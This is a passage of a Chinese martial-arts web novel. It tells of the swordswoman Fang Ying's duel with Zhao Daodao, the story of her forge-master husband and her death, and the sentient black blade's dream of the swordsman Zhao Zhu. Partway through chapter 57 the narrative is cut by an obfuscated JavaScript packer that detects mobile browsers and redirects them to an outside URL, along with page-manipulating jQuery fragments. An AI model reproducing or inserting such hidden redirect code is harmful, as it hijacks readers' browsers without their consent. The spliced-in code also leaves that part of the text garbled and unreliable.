方英握剑在手,低垂着眸子看向手里的剑,身板挺得很直。丝毫看不出昨天披着斗笠的老妇身影,仿佛已经换了一个人。 赵刀刀紧了紧手里的黑刀。 方英道:“我已多年不和别人过招,听倾城说你刀法奇诡无比,你有几分力便使几分吧。” 赵刀刀微微点头。 方英道:“我只与你过一次招,你看清楚了。” “好。” 顾倾城在一旁对周向晚说:“这世上大部分的功法我师父都见过,说不定赵刀刀的刀法她也见过。” 周向晚叹息道:“方前辈这样厉害,却在这里……真是可惜了。” 顾倾城亦叹道:“我一开始也觉得师父这样太过可惜,可她选了的,就绝无回转余地……其实仔细想想,她在这里过的开心,又有什么不好呢?” 周向晚若有所思,道:“方前辈武学大成,又得百姓爱戴,想要在此避世也没什么。” 他看向那把剑。 方英此刻全然不像一个年过半百的老人,她的剑势快而刁钻,先闻剑而后随声,每一击都有变幻无穷的后招,令人目不暇接。 赵刀刀连连挥刀去挡,却总是慢她一步,扑了个空。 周向晚感慨道,“没想到方前辈的剑法也这么快。”他还以为方英的剑法是慢而稳的风格。 顾倾城点头道,“我没见过比师父更快的剑,不过赵刀刀的刀也很快。” 第一次在峦岳派见到赵刀刀出招,顾倾城就十分讶异,这世上能将一把武器使得如此之快的人她只见过师父一个,而赵刀刀快得几乎和师父不相上下,如果不是唐雪,大概那会儿她就会带人来找师父。 赵刀刀的境界和城门之战、长廊闯关时已不可同日而语,但与方英对战她还是感到了压力。 长剑袭来,她心中一紧,又兀自镇定,突然脚下一动,飞身向方英身后扑去。她不止刀法快,身法更快! 黑刀迅极,刀光如墨雪落空,笼罩了方英大半个身子,使得正是那招“飞雪茫茫”。 方英轻喝一声,长剑斜刺,赵刀刀见她晃身来挡,正要接着攻去,却脚下一软,原来是方英剑为虚招,提腿勾膝,脚跟撞在她腿弯,长剑一推,将赵刀刀向外推去,令她后退几步才站稳。 赵刀刀慢慢呼气,她一向自诩刀法决绝,身法过人,但比武之时除了手上兵器,拳掌腿脚又何尝不是进攻利器?遇上方英她怎么将以前会的都忘了?只道自己还是差了点儿意思。 方英再次举剑攻来,赵刀刀便退步去守,退后三步,不愿再退,决心堵上一把,出刀去攻。 只听乒乓数响,比昨夜雨声更密,连成一片。 方英第一次与她刀剑相接便感手腕一震,知赵刀刀气力过人,不能与她硬拼,是以之后刀锋剑刃总是擦身而过,不为兵器流连,而是攻她握刀之手,胸前破绽等处。 顾倾城见方英剑尖将将入腹惊呼一声,方英又轻巧一转变了剑招。 如白虹飞天,龙蛇嘶吼,剑光所致,布成一张绵密的网,无隙可循,赵刀刀茫然接招,每每寻到一丝破绽,挥刀而去,机会却转瞬即逝,只得收手回防,偶有奇招逼得方英回剑去挡,但总归还是连连败退,败下阵来。 二人过百招不止,终于停手。 赵刀刀如落叶在风中摇晃,像是要被磅礴的剑意冲倒。 但她强撑着不肯倒下,恍惚间觉得自己也像一把刀,而所有冲过来的攻击都化作磨刀的石块,只会使她更锐利。 黑刀颤动不已。 赵刀刀的手抖动不止。 周向晚和顾倾城上前将她扶住。 赵刀刀道:“我输了。”呼吸几下,又道:“前辈,你很厉害。” 顾倾城得意道:“我师父现在的剑法可是自己一点点琢磨出来的,不过你也不用灰心,我看这世上能与我师父过百招的人,也数不出五人。” 赵刀刀一愣,微微一笑道:“她很厉害,我也不差,我不灰心的。” 方英还剑入鞘,沉默片刻,忽然道:“赵刀刀?” “是。方前辈?” “我见过你的刀法。” 56. 平凡生活 “我见过你的刀法。” 方英的话犹如一声惊雷,赵刀刀猛地抬起头盯着她。 她的刀法是黑刀口述而成,但连赵小刀自己也说不出这套刀法的来历,方英是如何知道的?难道这套刀法在武洲出现过? 方英没有在意她的注视,缓缓道:“很早之前,武洲有一个传言。传言说,魔教一位长老精通各类刀法,他用半生将所有招式融汇贯通后,将自己关在洞穴中,说要写一本刀谱。” “他写成了?”赵刀刀问。 方英道,“传言中说,刀谱写成之日惊雷大作,异相突生,长老端坐于刀谱前命终,后人但凡看过那本刀谱的皆为其中招式所惑,纷纷抛下原本武学改练刀法。” “他们都学成了?”赵刀刀急忙追问。 方英摇头,“传言之所以是传言,就是因为无从考证,魔教后来在江湖中销声匿迹,没人再见过他们。有人说,魔教正是因为这本世间罕有的绝世刀法,规矩不复,就此覆灭。” “这本刀谱有名字吗?”赵刀刀握紧了黑刀。 刀法和赵小刀的过去有关,如果刀法在这里出现,是否意味着赵小刀曾经也在武洲待过,他那时也是一把刀吗? 方英没有卖关子,道:“诡悟刀法。我不知道这个名字是从何而来的,有人这么叫,也有人称它《七绝诡悟》。” 她的声音极为清晰,在赵刀刀耳边响起。 赵刀刀摇头:“我没有听过这个名字,我的刀法……” 她忽然意识到赵小刀教她的刀法也有七层。 赵刀刀说不下去了。 直到此刻,她忽然发现自己一身武艺,除了入门是跟师兄弟一道,剩下的全然是跟着赵小刀的话自行摸索。 除了楚天师极少几次旁边指点过一二,从没有人说起过刀法的任何事。 而在这种茫然不知的情况下,她已经将一套不知道名字底细的刀法练到现在。 她从不怀疑赵小刀,也从不怀疑这套刀法,但以为自己独有的东西忽然变成了大家都有所耳闻的招式,赵刀刀忽然又些难过。 “鬼雾……”赵刀刀问,“前辈可知这是哪两个字?” 方英提剑在空中绘出几笔,剑气落在地上,刻出“诡悟”二字。 “七绝诡悟。”方英道,“魔教很早就消失在江湖中,没人知道他们在何处,凡见过这刀法的人都成了瞎子聋子,说不出任何有用的信息。我只知道这刀谱在世间失传,鲜少有人见过,听说只是练成其中四式,都能横行江湖。 方英说这些话时语气没有任何波动,她说,“正是因为诡悟刀法威力极大,才被冠以非人之名,视作魔功。” 顾倾城在旁听得入神,她不是赵刀刀那种好哄的,师父说出的任何事都不是空穴来风,如果真的只是传言,方英根本不会提起刀法。她问:“师父见过这刀法吗?” 方英沉默片刻,低声道:“我只见过一次。” 赵刀刀急忙追问:“是谁使过这套刀法?” 方英盯着赵刀刀的脸,没有从中找见半点装模作样的痕迹。她的眼睛黑白分明,最深处透着一点红,仔细看,很容易分辨出赵刀刀的情绪。 方英的目光落在她那把黑刀上,过了许久,终于说出一个名字:“赵逐。” 顾倾城小声惊呼,“那个天下第一?他不是使剑的?” 方英摇头,“他的剑法确实高超,可人多势众,他只能奇招制胜。” 赵刀刀不解:“人多势众?前辈,他当时被人围攻了吗?为什么?” 方英摇头,“我并不知其中内情,只是人人都说,是他盗了诡悟刀谱,惹下杀身之祸。” “后来呢?” 方英摇头,“他不知去向了。”她看向赵刀刀,语重心长道,“小姑娘,这个问题不该是你问我,你既然练的是诡悟刀法,那你肯定知道他在何处。” “我……”赵刀刀一路倒是听到不少这位天下第一跑路的故事,要说人她可从来没见过啊,虽然她无意中确实练了人家的刀法,可她的刀法全是黑刀所教,黑刀对此间事知道的还不如她多呢。 一时无言以对。 英娘见赵刀刀一脸苦恼,笑了笑,道:“想不起来就不想便是。”话锋一转,又道,“我很多年没见过你们这样的年轻人了。听倾城说,你的麻烦很多。” 赵刀刀撑着刀靠在墙上,提起这事她就想看顾倾城,但怕方英看出来什么,便控制着没有移开视线,气喘吁吁道:“我不知道,有人要找我的麻烦,我有什么办法。” 方英称赞道,“你倒很坦然。” “想这些还不如去练刀呢。”赵刀刀如是道。她也是这么做的,想不明白就去练刀,练到最后就会忘了烦恼。 方英点头道:“你说的很对。”又说:“你和倾城有些地方很像。” 赵刀刀问,“哪里?”她怎么会像顾倾城?但凡有半点相像,她也不会次次被她算计的那么彻底。 “孤独。”方英道,“我时常教导倾城,不要把什么都藏在心里,一个人吃尽苦头,到头来连自己得到更多还是失去更多都分不清,有什么意思。” 赵刀刀一愣,僵硬笑道:“前辈,我没有那样。而且……我有很多朋友的。” 方英笑道,“那你就当我在说倾城吧。” 顾倾城已经开始后悔自己还留在这里了,早知她应该避开师父和赵刀刀的比试。 周向晚听了这么多独家消息,这会儿错过宝剑的悔意已经被渐渐抛之脑后,就算看不了宝剑,这一趟他不白来! 吃过午饭,赵刀刀把信和剑疆取出来交给方英。 方英靠坐在椅子上。上午的那场大战好像耗尽了她的力气,此时伸手有些软绵。 方英把信拿在手里,轻拂信封,道:“我病的很重了,如果那时候,能出去见他最后一面就好了。” 顾倾城第一次听师父主动提起此事,又是愤怒,又是伤心。愤怒师父还对那个负心汉念念不忘,伤心师父的身体亏空太多,已无法挽回。 赵刀刀心中一惊,方英在这里住了这么久,此刻看起来也全然无恙,怎么会突然病入膏肓? 她不知道,方英能感觉到自己的内里血肉正在被什么一点点吞噬。 方英常年住在山谷,不动气,不提剑,修生养性,也不过减缓这种痛苦一时而已。 方英道:“我要拿不动那把剑了。”她缓慢呼出一口气,“姓周的小子,等我去了,你就把那把剑带走吧,它跟了我这么多年,到最后能遇到一个赏识它的人,不至于跟老婆子一起埋在地里,也算有始有终了。” 原来即使周向晚一言不发,方英也早就看穿他眼中的渴望,打算圆他一梦。 “师父!” “方前辈!” 方英不再提这事,她脸上渐渐显露出一种堪称甜蜜的笑容,道:“我撑着,是因为他说他会来找我。我知道他一定会来。” 她取出信纸展开。 信上是故人的字,写着—— 英英,吾妻。 你我幼年相识,一生相恋相依。 可惜山高水长,路难行,后来终不得见。 幸有六月三更,见剑如人。 听闻你剑道已成,为夫甚喜。 家中一切安好。 行长路,修剑术,天下之大,总有归处。 勿念。 玉书。 方英读到此处,全然不觉自己已泪流满面。 她低声唤道,”玉郎。” “师父……” 方英握紧信纸,低声问周向晚:“姓周的小子,你……曾去过剑冢?” 周向晚坐直身子道:“是。晚辈去哪里时,柳前辈剑冢已毁,只有个小姑娘守在附近,她说……” “她说什么?” “她说,柳前辈生前最后一句话是——如果有下辈子,我想要平凡的相爱,平凡的生活,与她过平凡的一生。” 方英只觉悲痛刻骨铭心,原来比病痛还要磨人,“她还说什么了,你知道的,都说出来。” “是。晚辈去剑冢,被那叫铃鹿的小姑娘带去了方前辈家中,那里还有几张烧了一半的纸,有的写着‘松山派两百年不遇的天才,怎么能与我沉沦浮世’,有的写‘吾铸剑十年,炉火不灭,妻仗剑天涯,一往无前’,还有张写的是‘画不出模样了,明明心里记着的’。剩下的就没有什么了。”周向晚回想片刻,“对了,那铃鹿小姑娘说,自己是来学铸剑的,她说方前辈一开始不肯教她,后来不知怎的改变决定,只是不正式让她拜师,让她在旁边跟着学。她说柳前辈的手掌宽大,筋肉交错,那上面满是制作兵器磨出的厚茧,不断继承的伤口,她也想那样厉害……她还说,她师父常提及您,说您是个大英雄。” 周向晚回想不出更多。 方英问赵刀刀,“老板娘和你交代了什么?” “嗯……她没说什么,就是好像很生气。”赵刀刀又些为难,她不想隐瞒什么,但老板娘的话她实在说不出口。 方英突然笑了几声,“她恨我恨的牙痒痒吧?” 赵刀刀默默点头。 方英闭了闭眼,叹气道:“我以为,我只是找不到他了。” “方前辈……” 方英摇头道,“叫我英娘就行了。”她伸手拿过六月三更,问:“你们知道这剑的来历吗?” 三人摇头。 方英柔声唤道:“六月三更。” 那实在是个不长不短的故事。 长到方英用后半生去回忆也回忆不尽,又短到寥寥数语就能说完他们此生的羁绊。 方英记得,自己初入江湖,小有名气,有人问:“你这剑看着好锋利啊,像是好剑,有名字吗?” 她总会带着得意之色回答,“六月三更。” 她还记得自己志得意满,怜惜一把剑的眼神。 还有她拔出剑看着剑的笑容。 只因这是柳琢玉为她铸的剑。 那人接着道:“这名好怪,江湖名剑起名大多风雅犀利,你这名还真够省事的。” 她那会儿还有些小姑娘心思,不想轻易承认柳琢玉是她的夫君,觉得这样让他平白占了便宜。怎么能送她几把剑就让她一生相许了呢?她还要再考验考验的。 只道:“友人送礼,说铸成的那天就起这名了,日子长了,我也觉得有些韵味。” 那人又问:“那你朋友呢?想必是位铸剑的好手啊,他在哪里开馆,他有别的什么剑吗?” 她心中不满,觉得这人话也太多,只说:”他不轻易铸剑的,而且这把剑之前,别的剑都没有名字,也没什么名气。” 明明是剑沾了她的好处,怎么这人的口口声声都像是有了剑她才这样厉害呢?她心中不满,又暗暗指摘起柳琢玉往日种种不好来。 那人又问:”那你朋友在哪,你什么时候去找他?” 方英一时落寞下来,”我不知道。” 她和柳琢玉说好闯出个名堂就回去,现在哪有脸面见他?不过太久不见,还真是有些想念。 那人会错意,道:“啊……我是不是提起你的伤心事了,抱歉抱歉。” “无妨。我很久没有想起他了。” “诶,你们不是朋友吗?” 说到此处,她便不再作答。 后来听说这人四处传言自己性情冰冷,不近人情,也只是笑笑。 柳琢玉一生只有一把有名的剑。 他说他曾为这把剑想了无数个名字。 冷风,裂寒,断语,清寻,迟判,肓梦……整日捧着剑胡思乱想,就是想让这剑听起来更厉害些。 他听说,行走在外的剑客是没有名字的,这样一来他的剑岂不是代表了她?那怎么也不能太普通了。 但最终还是定了六月三更。 一切的开始,他们的初遇。 他不知道英娘是否记得那一刻,或许她早忘了他们曾在更早之前相遇过,或许记得也说不准。 哪怕忘了也没关系,他将它给她,他把初遇给她。 她记得这把剑的名字就够了,这是他巨大的私心和隐秘。 这把剑会代替他,陪她闯荡江湖,陪她出生入死,陪她风花雪月,直到剑卷了刃,生了锈,不能再用。 他从前铸的剑那样烂,英娘也只是抱怨几声接着用,这把剑这样厉害,这样好,她一定能用很久很久。 方英其实记得那一天。 她周围的人常说她武痴,剑痴。 很多时候一人淌山涧,攀高峰,她都会想,自己是不是真像他们说的那样没有人情味,偶尔想着想着就会有点认同。 因为许多孤独于她确实能生出花朵,而不是腐烂牵绊。 或许也因为她并不孤独。 仔细想来,她沉迷在剑术的那段时间,勉强算的上有几分孤僻。那时一心难以二用,说多错多,徒生烦恼,所以她索性不说。 其实她很好相处,只是个想当英雄的普通人而已,毕竟出生的名里就带了英字,怎么想,都得成个顶天立地的人物才算不负所托,成全自己。再说,不是有很多人想成为英雄吗? 匆忙间也 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方英看到柳琢玉看着自己的手,他手掌宽大,筋肉交错,那上面满是制作兵器磨出的厚茧,不断继承的伤口。他说:“所以,我要成为她的剑,我要她锋利无比,一往无前,永不后退,我要她带着我的那份,好好的,活在江湖里。” 他坚定的望着剑炉里的那把剑。“她会成为英雄的。” 方英看看自己,突然后退几步,不想出去见他了。 她自己说下大话,还未成真,就被世事磋磨得生出一丝悔意。那一刻拿着他的剑,只觉得剑像烙铁一般灼手,却咬着牙下定决心:定要闯出个名堂再回来见他,否则自己这一生还对的起谁? 后来江湖变动,信寄不出,她匆忙再来时不见柳琢玉,只道太平之后再来找寻也不迟,便提剑离去。 铃鹿后来总见到柳琢玉发呆,她渐渐长大,知道这时候师父肯定是又想师娘了。她学艺不久,手上还不稳当,总是有几分羡慕师父的茧子。 她不知道。 那原是一只画家的手。 老板娘见到柳琢玉的时候他已没剩几天。 他写这封信的时候想了很多,唯独没有想过方英会哭。她前半程有他参与的人生,从没有哭过。 要是知道她会哭,或许就没有这封信了。 他不停的说。 他说的太多了,他的喉咙哑了,剑炉蒸干了他的泪,他哭不出来。 人和喉咙都像是被撕扯着一样难受。 柳琢玉想了想,最后说:“姐……别告诉她我得了病。就说……就说铸剑的时候出了事吧。” 他说:“这样她知道了应该不那么痛苦。” 老板娘偏要她痛苦,要她后悔。 老板娘毁了剑炉。 事实上当时老板娘只恨不得杀了那个远在千里之外的冷漠之人,她既然只要她的剑道,又何必祸害别人的一生。他们一开始就不该相遇。 而当年一场大战之后,方英感到身体虚寒入骨,钝痛难忍。那时雨势不停,冲断了桥,她的心思也和身体一样渐渐绝望,如果不是收顾倾城做弟子,或许死在那些雨天也算是好归处。后来就留在这里。 她什么也不想去想,谁也不想去见,只觉得活一天算一天,就在这里了了终生也好。 种田,养花,不再动气。 偶尔想起柳琢玉,不知道他现在如何,身在何方,越想越觉得心烦不已,索性不再去想。 山谷里的时间过的很快,还没做什么就到了日暮。 有时挑一担水,去看看养的花,疼痛来了任它疼上一会儿,一天就这样结束。 直到现在。 方英回首一生,只觉得自己从不欠谁什么,此刻说着说着却忽觉她欠柳琢玉良多。 她能想象到柳琢玉眼里满是苦涩的甜蜜,笑着说“可她是英雄啊”的无奈。 方英道:“我记得我们相遇的那天,我拎着一柄木剑在街上跑来跑去,撞翻了他手里的画。” 她还记得更早的时候,她在家中等父母归来久等不到,夜里她跑出去,还有人在树下纳凉聊天,人走了她还不想回去,接着就看到了第一次来到小镇的马车,车里有个男孩趴在窗上伸出头往外看,眼睛比星星还亮。那是柳琢玉搬到小镇的马车。 那时正是六月三更。 柳琢玉以为她不知道。 她其实记得。 方英道:“我很想他。” 两个人谁也不说,这样爱着对方。 众人围坐厅前,炉火还旺,烧柴声噼里啪啦。 方英的声音沙哑伴着干涩,道:“我还以为,我已流干了眼泪。” 一滴泪从她的脸颊划过,滴在信上。 谁也没有出声。 方英的目光虚虚望向空中,那里明明空无一物,她却伸出双手,嘴角微微翘起,神情满足。 英娘轻唤一声,“玉郎。” 手垂了下去。 那封已经被捏皱的信纸飘落。 “师父!” “英娘!” 顾倾城眼眶微红,悲痛不已,却又觉得事情好像冥冥中注定了就是会变成这般模样。 这已是最好的结局。 她将地上的信捡起,道:”三更天了。” 她从未想到,师父的生日会是这样。 她也不知,这其实是柳琢玉的生日。 分别了太久,方英和柳琢玉只记得彼此的生日,自己的在哪年哪月早记不清了。 此时正是六月三更。 赵刀刀听完英娘的故事,还未缓过神来。 她一向知道友情可贵,亲情可贵,只是朋友免不了聚散分离,父母也不能永远陪伴浪迹天涯,直到此刻,才体会到世间还有如此珍贵的情感,心心相印,两厢厮守。 时间也无法磨灭,距离也不能阻隔。 赵小刀轻声道:“刀刀,我们不要这样。” 但此刻赵刀刀眼眶红烫,微微发愣,霎时脑海中情绪汹涌难以遏制,周围的声音已经听不到半点。 她四指掐进手心,一手落在刀刃上划出伤口也浑然不觉。 心神激荡,好似大醉一般,凭空生出了万般愁绪,千种惆怅,百道相思,最终汇成一句—— 我也想有这样一个人住在心上。 哪怕龙潭虎穴,刀山火海。 如若有这样一个人…… 如若有这样一个人—— 是不是哪怕一个人,也再不会孤单了呢? 57. 青衫 赵小刀做了一个梦。 事实上他做了不止一个梦,但梦境之间似乎有所联系,断断续续拼凑出了一个完整的故事。 或许因为他只是一把刀,总是醒了又忘,无法将梦记得清楚,每每想和赵刀刀说起的时候,早就没了印象,只剩下一点久远的模糊的记忆。 他唯一记得清楚的是故事的开头,有人扔了两个铜板。 铜板滑过碗壁,咕噜噜地落在碗底。 说来好笑。赵小刀一开始觉得荒唐极了,一把刀也能做梦? 可是到这里之后,自从见到那条蛇,他就开始嗜睡,像是要把原来欠下的觉都补回来一般,控制不住的困倦狂风暴雨一般席卷而来,难以抵抗就被拽入沉眠。 他本不喜这种沉沦失控的感觉,可做刀做久了,在无聊漆黑的世界中,做梦这件事显得格外稀奇好玩,加上梦里的他有手有脚,还真有几分令人有些流连。 对一把刀来说,梦比现实有趣精彩多了,赵小刀一度沉迷其中,但现实还有赵刀刀在等着,他最后总会醒来。 那只捡来的青蛇曾说他不是一把刀,说他有名字,还问他,想不想变成人。 赵小刀原先是不信的。 但他越来越嗜睡,梦里的景色太真,以至于他渐渐分不清、记不得自己是一把刀,觉得自己好像就是一个人。 就连梦醒之后的撕裂一样的疼痛,也好像成了证明他并非是一把刀的证据。 所以哪怕他痛苦不已,心中却暗自生出一道小小的火苗不断雀跃,隐隐期待着什么。 刚开始蛇不见那会儿他心中不安,只是青蛇叮嘱过这事谁也不能告诉,说了他就变不成人了,甚至赵刀刀也可能有性命之危,他便将信将疑,没把这事告诉赵刀刀。 万一他最后变不成人呢?岂不是空欢喜一场。 那样未免太难过了。 青蛇消失后很久赵小刀才发现自己对气味的知觉也随着消失了,他心中不安,本来就无法接触的世界变得更加遥远疏离,他怕自己有一天彻底成了一把普通的刀,再不能与她分享心事。 赵小刀深知赵刀刀对自己的重要,这世上陪他最久的是赵刀刀,能听到他说话的也是赵刀刀,如果他只是一把普通黑刀,赵刀刀身边的任何一个人都可以超越他,他没有任何办法留住她。 但随着梦中的故事越来越清晰,那一线机会仿佛真有可能落在他身上,他的不安减轻了。 他会痛,会伤心,也会快乐,在梦里他什么都能做,现实的寂寞本来难以忍受,却因为梦里的一点希望,显得可爱起来。 他记得那条蛇说过:“你想要当人,自然得舍弃刀身了,你在刀里面能做什么?闻味道和说话么?那等这两样都没有,说不定你就快变成人了。” 赵小刀隐隐有一个感觉,青蛇说的没错,失去所有之后,他才有机会能变成人。 如果真的可以变成人,他想做的第一件事,是亲眼看看那个叫赵刀刀的姑娘到底长什么模样。 他的世界光亮太少,看人隔着一层雾气,更多时候是在一片漆黑中靠着声音和气味辨别一切,他能做的也太少,唯一能表达情绪的动作是控制着黑刀颤上两颤。 在剑冢的地狱般的日子里,每次听到有人进来的动静他都惊喜万分,但无论如何呼唤都从来没有人听到—— 直到赵刀刀出现。 虽然这世界大多时候还是一片漆黑,但是多了一道声音,一个人,就像多了一道光。 赵刀刀和他说话,谈论心事,仿佛真的将他当作了一个朋友。 她还给他起了名字。一个相当随便的名字。 赵小刀本来不喜欢这个名字,但他接受了赵刀刀的一切,也接受了她赋予的新生。从这个名字里他能感受到他们之间的联系,按照人与人之间的关系来说,名字在他和赵刀刀之间架起了一道比血脉更深的关系,他们没有亲人,却是彼此的亲人。 在山上刚开始说话的时候,赵小刀分不清白天黑夜,只能靠着赵刀刀的行为猜测,她醒了就是白天,她睡了就是黑夜,无论白天黑夜,他都一直守着。 他想不起自己有什么从前,只有一堆剑谱刀法还留在记忆里,便当成故事都说给赵刀刀听,很多东西赵刀刀听完就忘,然后又讲些自己的事,再撺掇他继续说些什么。 他有什么可说呢?赵小刀不知道。 他讲的那么无聊,赵刀刀却一如既往地捧场,每句话都认真回应,即使是第二次讲出的剑法她也毫不吝惜地称赞,仿佛他讲的都是世上最顶尖的功法。 他们一起练刀,一起生活,赵刀刀总说:“赵小刀,你是我的第一个朋友。” 他不想扫她的兴,从未反驳,但在他心中他们分明已是世界上最亲密的伙伴,朋友二字,远远不够。 有时候赵小刀真希望自己不是一把刀,而是一个人。 一个活生生的,能陪在她身边的真实的人。 昨夜方英住所,外面下着雨。 赵刀刀进入房中,忽然发问:“赵小刀,你最近一直在睡觉吗?” 她其实有许多困惑不解。从前她只把他当作黑刀,时至今日,不知怎么地却忽然觉得他会哭会笑,会困倦,甚至觉得赵小刀是不是……也会生病? 因为病了,所以总是昏睡,因为病了,所以总是寂寞。 赵小刀醒着时努力说了很多话,但他越是说,他睡过去的那些时间越显苍白。赵刀刀高兴于她与赵小刀这样亲密,却对这样若即若离的相处感到不安。 人生病了可以吃药,刀生病了怎么办呢? 赵小刀不知怎么说。 他在黑刀之中,随着赵刀刀一路走来,分裂之感愈演愈烈,有时他也会想,是不是自己在黑刀里时日无多,马上就要变成人了?又怕只是虚惊一场。 “最近是睡得太多了。”赵小刀放缓了声音,道:“刀刀,如果有一天,我不会说话了,你不要担心。” “你怎么会不能说话呢?”赵刀刀急色上脸,关切道:“你病了吗?”不知怎的心中一揪,难过起来。 赵小刀连忙安慰:“没事,没事,刀刀,你只记住,我会永远陪着你的。如果我不能说话了,也不要担心,我只是睡了,还是一直在的。” “可是你不能说话了,我怎么知道呢?” 赵小刀沉默片刻,认真道:“那你等等我吧,刀刀,我不会一直不说话的。你等一等,我就醒了,就能跟你说话了。” “多久呢?”赵刀刀有些不安,她不知道这股不安来自何处,明明人会跑,刀又不会。 赵小刀心想:若是自己真能变成人,虽不知其中到底有什么蹊跷,但一年的时间总该够用了。便道:“如果我真的昏睡,最多一年,一年之内我一定醒来。” 赵刀刀听着窗外细雨,有些怔愣。赵小刀说自己有可能一睡难醒,应该是他感知到了什么,或许就像人要休息一样,刀也需要休息。 她想着想着忽然弯起嘴角,飘飘然心道:赵小刀这样特殊,她的黑刀会不会也渐渐变样呢?会更重吗?还是更漂亮?那可是真是有趣极了。 只是她从没想过黑刀一年不能说话的情形,此刻想来,忽然觉得日子一定会无聊几分。 转念又想,他们相伴如此之久,只要黑刀还在,等上一年又有什么? “好吧,等你就等你,但你可不要一直贪睡。” “我答应你。” 忽然想到什么,赵刀刀问:”小刀,你睡着也会做梦吗?” “……嗯。” “诶?你梦里有什么,刀吗?” 赵小刀无奈笑道,“没有,不过……我梦里有新年。街上灯笼红火,人多,很热闹,你在青山那么久,还没看过放花吧。” 师门里过年是没什么特别,赵刀刀想象了赵小刀说的景象,放花的热闹街景,应该就像柳城桥头一样好看吧。 她心中一动,突然生出一个念头,道:“我们今年一起过年吧,我也可以放些花灯玩,听唐雪说唐家堡的烟花又大又漂亮,到时候我们也去看看。” “好。” 赵刀刀叮嘱道,“那你过年的时候一定得醒着,可不能睡过去了。” 赵小刀心想,如果他真的可以变成人,有一件事永远也不会变——不管高矮胖瘦,他都只是赵小刀。 他郑重答道,“好。” 听到顾倾城脚步声,赵刀刀止了声。 等顾倾城进来躺下,慢慢呼吸平稳,赵刀刀才放下刀,伴着雨声安然入眠。 梦中。 又是张灯结彩,年关时候。 赵小刀记得这个人。 他姓赵名逐字竹念。梦里的自己就叫做赵逐。 又是一样的开始。叮咚脆响,两个铜板落入一个缺口的瓷碗。 灰色的布衣沾了土,封着补丁。赵逐看着眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445040|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣衫褴褛的少女,她缩成一团坐在地上,头枕着膝,听到声音才抬起头来。 那小姑娘抬头,睁着圆溜溜的眼睛盯着他。 赵逐转身离去,走了几步,无奈摇头笑笑。或许是难得下山来采购年货,他心情还不错,走到不远的糖葫芦架上,挑了一个拿着,转身看向身后,没人,再仔细看,树干后露出一点衣角。笑了笑,走过去递给她,道:“拿好了,别再跟着我了。”想了想又道:“吉祥如意,新年快乐啊。” 那小姑娘握着糖葫芦,看着他,没有说话。 又走几步,赵逐停下道:“喂,别跟着我了。” “嗯。” “你再这样我要把送你的糖葫芦拿回来了。” “嗯。” 赵逐走到巷尾,颇为无奈:“好吧,为什么要跟着我?” 小姑娘拿着糖葫芦,手被冻得通红,指节却用力到发白,沉默片刻道:“你是个好人。” 赵逐笑道:“喂,小小年纪,你知道什么是好人吗,别再跟着我啦,你再跟着我,等我师父看见,要把你做成药人了!” 他心中给师父道歉一声,没想到自己下山一趟还要亵渎师门,真是罪过罪过。 结果走了两步身后尾巴还在。 赵逐扶额道:“你知道药人是什么吗,就是会把你做成你手里的糖葫芦哦。” 小姑娘抓着糖葫芦,一动不动。 “欸?我忽然发现,你的眼睛……”他本以为是灯笼的红色映在眼中,此刻周围并无喜庆物件,才发现这小姑娘眼睛棕中泛红,看着稀奇。道:“说不定我师父还真能看上你。” 姑娘眨了眨眼,似是做了很大决定,深吸一口气问:“你可以带我走吗?” 赵逐想到她先前要饭情形,或许是被人拐卖沦落至此,想要回家却求助无门。他做事一向随心所欲,见她形状凄惨,生出一丝不忍。 他与她有缘,既然救人便救到底,送她一程又有何妨,这大过年的也算讨了彩头,功德一件。 赵逐道:“哦,原来你是想离开啊,你想去哪?” “离开……这里,哪里都行。” “不回家去?” “没有……家。” 功德这是要变大麻烦啊。赵逐突然心中一动,握上她手腕,指尖一按,轻轻一折,糖葫芦脱手, 赵逐用另一只手接下。见她不哭不闹,走远两步又看,小姑娘站的直挺挺,鼻尖冻得通红,就一直看着他。 赵逐将糖葫芦递回去,笑道:“那我带你去个好地方吧。” 听说峦岳派正愁好苗子,他跟着师父见过那掌门几次,看他为人厚德,总不至于还塞不进一个女娃娃。 赵逐目送她进了峦岳派大门,不知为何又转身停下,赵逐挥了挥手,笑了笑。转身离去。 日子过得很快,在梦中更是一晃而过。 江湖搓摩,赵逐闯出了名头,也闯出了祸事。 自从师父去世,他的麻烦就突然多了起来。 他突然睁眼,只记得自己还被人追杀,不知怎么到了这处山洞。用手撑地,艰难坐起。 思索间突闻脚步声,极轻极缓。手去摸剑,却一场空,骤然间心神大震,心想自己原来也有手无缚鸡之力,任人宰割的一天,不知是倒霉还是天意。 听脚步声逼近,借着光看到一道人影,问:“谁?” 那人影蹲下,放下手中饭盒,道:“赵如意。” 赵逐见她并无伤人之意,忽然反应过来:“你救了我?” 赵如意点点头。 赵逐问:“为什么?”为什么救他,为什么不像那些人一样对他赶尽杀绝? 赵如意淡淡道,“我知道你,你是个好人。” 赵逐眯了眯眼,“你认识我?”他心中自嘲,自己天下第一之时多么风光,却也远比不上人人喊打之时为众人所知。不过既然被她救了,不管为名为利,自己也算是欠了人家一茬。想了想,道:“我不记得见过你。” “你十年前来过佩城,救过我。” “那么久远的事谁记得……” “糖葫芦。” 赵如意红色的瞳孔突然让他想起了一些事。“你……” “我听他们说,你背叛了正道,没有朋友。” 赵逐不屑一笑正要说话。 赵如意的声音如冷泉一般,道:“赵竹念,我是你的朋友。” 58. 碧玉 白衣青衫碧落剑,冷面公子无情客。 昔日的天下第一赵大侠从来不缺朋友。 只是没想到危难关头救下自己的不是运气,不是老友,而是个只有一面之缘的姑娘。 麻烦了。赵逐心想,天不怕地不怕,只怕欠人情。 这姑娘要是个坏人,自己欠了人情只能自认倒霉,这姑娘要是个好人,那就更难办了。 赵逐有些坐立难安,但身上的伤还没好,不足以支撑他站着踱步,顺便走到洞外看看。 一时寂静。 赵如意却安然自得,拿出饭菜,放在他身侧,自己也端起碗筷,说了句,“吃吧。” 便动起筷子。 